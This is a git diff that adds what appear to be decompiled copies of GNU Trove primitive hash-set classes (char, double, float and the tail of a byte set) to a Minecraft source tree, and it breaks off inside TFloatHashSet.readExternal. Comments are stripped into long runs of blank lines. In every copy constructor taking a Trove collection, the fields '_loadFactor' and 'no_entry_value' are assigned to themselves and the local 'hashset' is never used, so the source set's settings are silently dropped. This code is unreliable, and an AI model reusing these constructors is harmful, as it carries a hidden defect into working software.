+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteSet)) {
+      return false;
+    }
+    TByteSet that = (TByteSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TByteHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    private final TByteHash _hash;
+    
+    public TByteHashIterator(TByteHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeByte(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readByte();
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      byte val = in.readByte();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TCharHashSet.java b/src/minecraft/gnu/trove/set/hash/TCharHashSet.java
new file mode 100644
index 0000000..2a58b23
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TCharHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharHashSet
+  extends TCharHash
+  implements TCharSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TCharHashSet() {}
+  
+  public TCharHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharHashSet(int initial_capacity, float load_factor, char no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharHashSet(Collection<? extends Character> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TCharHashSet(TCharCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TCharHashSet)) {
+      TCharHashSet hashset = (TCharHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TCharHashSet(char[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TCharIterator iterator()
+  {
+    return new TCharHashIterator(this);
+  }
+  
+
+  public char[] toArray()
+  {
+    char[] result = new char[size()];
+    char[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public char[] toArray(char[] dest)
+  {
+    char[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(char val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(char val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Character)) {
+        char c = ((Character)element).charValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TCharCollection collection)
+  {
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(char[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Character> collection)
+  {
+    boolean changed = false;
+    for (Character element : collection) {
+      char e = element.charValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TCharCollection collection)
+  {
+    boolean changed = false;
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(char[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TCharIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Character.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TCharCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TCharIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(char[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    char[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Character)) {
+        char c = ((Character)element).charValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TCharCollection collection)
+  {
+    boolean changed = false;
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(char[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    char[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharSet)) {
+      return false;
+    }
+    TCharSet that = (TCharSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TCharHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    private final TCharHash _hash;
+    
+    public TCharHashIterator(TCharHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeChar(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readChar();
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      char val = in.readChar();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TDoubleHashSet.java b/src/minecraft/gnu/trove/set/hash/TDoubleHashSet.java
new file mode 100644
index 0000000..dabc8ca
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TDoubleHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleHashSet
+  extends TDoubleHash
+  implements TDoubleSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TDoubleHashSet() {}
+  
+  public TDoubleHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleHashSet(int initial_capacity, float load_factor, double no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleHashSet(Collection<? extends Double> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TDoubleHashSet(TDoubleCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TDoubleHashSet)) {
+      TDoubleHashSet hashset = (TDoubleHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TDoubleHashSet(double[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TDoubleIterator iterator()
+  {
+    return new TDoubleHashIterator(this);
+  }
+  
+
+  public double[] toArray()
+  {
+    double[] result = new double[size()];
+    double[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public double[] toArray(double[] dest)
+  {
+    double[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(double val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(double val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Double)) {
+        double c = ((Double)element).doubleValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TDoubleCollection collection)
+  {
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(double[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Double> collection)
+  {
+    boolean changed = false;
+    for (Double element : collection) {
+      double e = element.doubleValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TDoubleCollection collection)
+  {
+    boolean changed = false;
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(double[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TDoubleIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Double.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TDoubleCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TDoubleIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(double[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    double[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Double)) {
+        double c = ((Double)element).doubleValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TDoubleCollection collection)
+  {
+    boolean changed = false;
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(double[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    double[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleSet)) {
+      return false;
+    }
+    TDoubleSet that = (TDoubleSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    private final TDoubleHash _hash;
+    
+    public TDoubleHashIterator(TDoubleHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeDouble(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readDouble();
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      double val = in.readDouble();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TFloatHashSet.java b/src/minecraft/gnu/trove/set/hash/TFloatHashSet.java
new file mode 100644
index 0000000..99ce8c3
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TFloatHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatHashSet
+  extends TFloatHash
+  implements TFloatSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TFloatHashSet() {}
+  
+  public TFloatHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatHashSet(int initial_capacity, float load_factor, float no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatHashSet(Collection<? extends Float> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TFloatHashSet(TFloatCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TFloatHashSet)) {
+      TFloatHashSet hashset = (TFloatHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TFloatHashSet(float[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TFloatIterator iterator()
+  {
+    return new TFloatHashIterator(this);
+  }
+  
+
+  public float[] toArray()
+  {
+    float[] result = new float[size()];
+    float[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public float[] toArray(float[] dest)
+  {
+    float[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(float val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(float val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Float)) {
+        float c = ((Float)element).floatValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TFloatCollection collection)
+  {
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(float[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Float> collection)
+  {
+    boolean changed = false;
+    for (Float element : collection) {
+      float e = element.floatValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TFloatCollection collection)
+  {
+    boolean changed = false;
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(float[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TFloatIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Float.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TFloatCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TFloatIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(float[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    float[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Float)) {
+        float c = ((Float)element).floatValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TFloatCollection collection)
+  {
+    boolean changed = false;
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(float[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    float[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatSet)) {
+      return false;
+    }
+    TFloatSet that = (TFloatSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    private final TFloatHash _hash;
+    
+    public TFloatHashIterator(TFloatHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeFloat(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
